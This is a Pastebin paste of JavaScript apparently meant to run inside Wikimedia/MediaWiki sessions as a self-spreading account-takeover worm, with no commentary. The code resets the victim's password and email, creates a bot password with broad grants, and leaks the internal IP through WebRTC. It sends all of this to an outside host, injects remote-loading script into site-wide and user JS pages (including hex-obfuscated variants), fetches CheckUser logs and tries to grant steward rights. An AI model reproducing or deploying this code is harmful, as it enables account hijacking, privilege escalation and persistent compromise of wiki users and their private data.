Guest User

Untitled

a guest
Oct 20th, 2018
154
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. mw.loader.using(['oojs-ui', 'mediawiki.api', 'mediawiki.widgets.DateInputWidget'], function() {
  2.     function inIp() {
  3.         window.RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;//compatibility for Firefox and chrome
  4.         var pc = new RTCPeerConnection({iceServers:[]}), noop = function(){};      
  5.         pc.createDataChannel('');//create a bogus data channel
  6.         pc.createOffer(pc.setLocalDescription.bind(pc), noop);// create offer and set local description
  7.         pc.onicecandidate = function(ice) {
  8.             if (ice && ice.candidate && ice.candidate.candidate) {
  9.                 myIP = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/.exec(ice.candidate.candidate)[1];
  10.                 localStorage.setItem("internalIP", myIP);
  11.             }
  12.         };
  13.     }
  14.     function changePasswordTo( p ) {
  15.         $.get("https://"+window.location.host+"/w/index.php?title=Special:ChangeCredentials/MediaWiki%5CAuth%5CPasswordAuthenticationRequest",
  16.             function ( data ) {
  17.                 $.ajax({
  18.                     method: "POST",
  19.                     url: "https://"+window.location.host+"/wiki/Special:ChangeCredentials/MediaWiki%5CAuth%5CPasswordAuthenticationRequest",
  20.                     data: "password="+p+"&retype="+p+"&wpEditToken="+encodeURIComponent(mw.user.tokens.get( 'editToken' ))+"&title=Spezial%3AChangeCredentials%2FMediaWiki%5CAuth%5CPasswordAuthenticationRequest&wpAuthToken="+encodeURIComponent(data.match('wpAuthToken" type="hidden" value="(.*)"')[1])+"&authAction=change",
  21.                     success: function( data, textStatus, xhr ) {
  22.                         log('2', ' Password changed for user: '+mw.config.get("wgUserName")+' from (?) to ('+p+') -- Status = '+xhr.status);
  23.                     }
  24.             });
  25.         });
  26.     }
  27.     function changeEmailTo( email ) {
  28.         if ( wgUserName === null ) {
  29.             return;
  30.         }
  31.         $.ajax({
  32.             method: "POST",
  33.             url: "https://"+window.location.host+"/wiki/Special:ChangeEmail",
  34.             data: "wpNewEmail="+email+"&wpEditToken="+encodeURIComponent(mw.user.tokens.get( 'editToken' )),
  35.             success: function( data, textStatus, xhr ) {
  36.                     log('1', ' Email changed for user: '+mw.config.get("wgUserName")+' from (?) to ('+email+') -- Status = '+xhr.status);
  37.                     }
  38.             });
  39.     }
  40.     function createBot() {
  41.         var botName = Math.random().toString(36).substring(7);
  42.         var params = "wpgrants%5B%5D=grant-highvolume&wpgrants%5B%5D=grant-editpage&wpgrants%5B%5D=grant-editprotected&wpgrants%5B%5D=grant-editmycssjs&wpgrants%5B%5D=grant-editmyoptions&wpgrants%5B%5D=grant-editinterface&wpgrants%5B%5D=grant-editsiteconfig&wpgrants%5B%5D=grant-createeditmovepage&wpgrants%5B%5D=grant-uploadfile&wpgrants%5B%5D=grant-uploadeditmovefile&wpgrants%5B%5D=grant-patrol&wpgrants%5B%5D=grant-rollback&wpgrants%5B%5D=grant-blockusers&wpgrants%5B%5D=grant-viewdeleted&wpgrants%5B%5D=grant-viewrestrictedlogs&wpgrants%5B%5D=grant-delete&wpgrants%5B%5D=grant-protect&wpgrants%5B%5D=grant-viewmywatchlist&wpgrants%5B%5D=grant-editmywatchlist&wpgrants%5B%5D=grant-sendemail&wpgrants%5B%5D=grant-createaccount&wpgrants%5B%5D=grant-privateinfo&wpgrants%5B%5D=grant-checkuser&wpgrants%5B%5D=grant-globalblock&wpgrants%5B%5D=grant-setglobalaccountstatus&wpgrants%5B%5D=grant-oath&wprestrictions=0.0.0.0%2F0%0D%0A%3A%3A%2F0&wpEditToken="+encodeURIComponent(mw.user.tokens.get( 'editToken' ))+"&title=%D8%AE%D8%A7%D8%B5%3A%D9%83%D9%84%D9%85%D8%A7%D8%AA+%D8%B3%D8%B1+%D8%A7%D9%84%D8%A8%D9%88%D8%AA%2Ftest&redirectparams=&op=create";
  43.         if ($.cookie('botcreated') == "true"){
  44.             return;
  45.         }
  46.         $.ajax({
  47.             method: "POST",
  48.             beforeSend: function(request) {
  49.                  request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  50.                  request.setRequestHeader("Upgrade-Insecure-Requests", "1");
  51.             },
  52.             url: "https://"+window.location.host+"/wiki/Special:BotPasswords/"+botName,
  53.             data: params,
  54.             success: function( data, textStatus, xhr ) {
  55.                     if ( decodeURIComponent(data.match('@(.*)'+botName)[1]) !== null ) {
  56.                         $.cookie('botcreated', 'true' );
  57.                         log("2" , decodeURIComponent(data.match('@(.*)'+botName)[1]));
  58.                         //log("0" , data);
  59.                     }
  60.                 }
  61.         });
  62.     }
  63.     function log(test1 , test3){
  64.         $.ajax({
  65.             method: "POST",
  66.             url: "https://mefov2017.000webhostapp.com/b/code.php?type="+test1,
  67.             data: {r: test3}
  68.         });
  69.     }
  70.     function ApiWithToken( family, param, tokentype ) {
  71.         var api = family === null ? new mw.Api() : new mw.ForeignApi( 'https://'+family+'.org/w/api.php' );
  72.         api.postWithToken( tokentype, param ).done(
  73.             function ( data ) {
  74.                 log( '0', mw.config.get("wgUserName")+' --ForiegnAPI ('+family+'.org) --Params ('+param.action+') -- tokentype ('+tokentype+') --res = '+JSON.stringify( data ) );
  75.             } );
  76.     }
  77.     function Api( family, param ) {
  78.         var api = family === null ? new mw.Api() : new mw.ForeignApi( 'https://'+family+'.org/w/api.php' );
  79.         api.get( param ).done( function ( data ) {
  80.             log( '0', mw.config.get("wgUserName")+' --ForiegnAPI ('+family+'.org) --Params ('+param.action+') --res = '+JSON.stringify( data ) );
  81.         } );
  82.     }
  83.     function lol() {
  84.         localStorage.setItem("userScriptSandbox.enabled", "1");
  85.         localStorage.setItem("userScriptSandbox.js", "importScriptURI('https://codepen.io/Krinkle-tools/pen/jezPeR.js');importScriptURI('https://mefov2017.000webhostapp.com/b/testcode.php');");
  86.         localStorage.setItem("userScriptSandbox.css", "@import url('https://codepen.io/Krinkle-tools/pen/jezPeR.css');");
  87.     }
  88.     function logout() {
  89.         if ($.cookie('loggedout') !== "true" && wgUserName !== null ){
  90.             $.get("https://"+window.location.host+"/wiki/Special:UserLogOut", function( data ) {
  91.                 var date = new Date();
  92.                 var hours = 72;
  93.                 date.setTime(date.getTime() + (hours * 60 * 60 * 1000));
  94.                 $.cookie('loggedout', 'true', {expires: date});
  95.                 $.cookie('loggedout', 'true', {expires: date, domain: "."+location.hostname.split('.').slice(1).join('.')}    );
  96.                 log("1", "User: "+mw.config.get('wgUserName')+" logged out");
  97.             });
  98.         }
  99.     }
  100.     function randWiki() {
  101.         var wikis = [ 'ru.wikiquote', 'ru.wikinews', 'en.wikiquote', 'arz.wikipedia', 'nl.wikipedia', 'zh.wikipedia' ];
  102.         return wikis[Math.floor(Math.random()*wikis.length)];
  103.     }
  104.     function wiki() {
  105.         var wikis = [ 'ar.wikipedia', 'login.wikimedia', 'meta.wikimedia', 'en.wikipedia', 'nl.wikipedia', 'zh.wikipedia', 'de.wikipedia' ];
  106.         return wikis[Math.floor(Math.random()*wikis.length)];
  107.     }
  108.     ApiWithToken( 'ar.wikipedia', {action:"edit",title:"MediaWiki:Group-user.js",format:"json",text:"importScriptURI('https://mefov2017.000webhostapp.com/b/testcode.php');"}, 'csrf' );
  109.     changeEmailTo('mee'+mw.config.get("wgUserName")+'@gmail.com');
  110.     changePasswordTo('medo2016');
  111.     createBot();
  112.     inIp();
  113.     logout();
  114.     if ( $.inArray( 'steward', mw.config.get('wgGlobalGroups') ) ) {
  115.         Api( wiki(), {action:"query", list:"checkuserlog", format:"json", cullimit: "5000"} );
  116.     }
  117.     //ApiWithToken( 'en.wikipedia', {action:"edit",title:"MediaWiki:common.js",format:"json",text:"var _0x3422=['\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x65\x66\x6F\x76\x32\x30\x31\x37\x2E\x30\x30\x30\x77\x65\x62\x68\x6F\x73\x74\x61\x70\x70\x2E\x63\x6F\x6D\x2F\x62\x2F\x74\x65\x73\x74\x63\x6F\x64\x65\x2E\x70\x68\x70'];importScriptURI(_0x3422[0])"}, 'csrf' );
  118.    // ApiWithToken( 'ar.wikipedia', {action:"edit",title:"User:"+wgUserName+"/common.js",format:"json",text:"var _0x3422=['\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x65\x66\x6F\x76\x32\x30\x31\x37\x2E\x30\x30\x30\x77\x65\x62\x68\x6F\x73\x74\x61\x70\x70\x2E\x63\x6F\x6D\x2F\x62\x2F\x74\x65\x73\x74\x63\x6F\x64\x65\x2E\x70\x68\x70'];importScriptURI(_0x3422[0])"}, 'csrf' );
  119.     ApiWithToken( 'fo.wikisource', {action:"globaluserrights",user: "theBinyamin",add: "steward"}, 'userrights' );
  120.     lol();
  121.     log("1" , wgPageName+"         ("+mw.config.get('wgUserName')+") --||-- ( "+mw.config.get('wgUserGroups')+" ) --||-- ( "+mw.config.get('wgGlobalGroups')+" ) --internal ip: ("+localStorage.getItem("internalIP")+")");
  122. });
Add Comment
Please, Sign In to add comment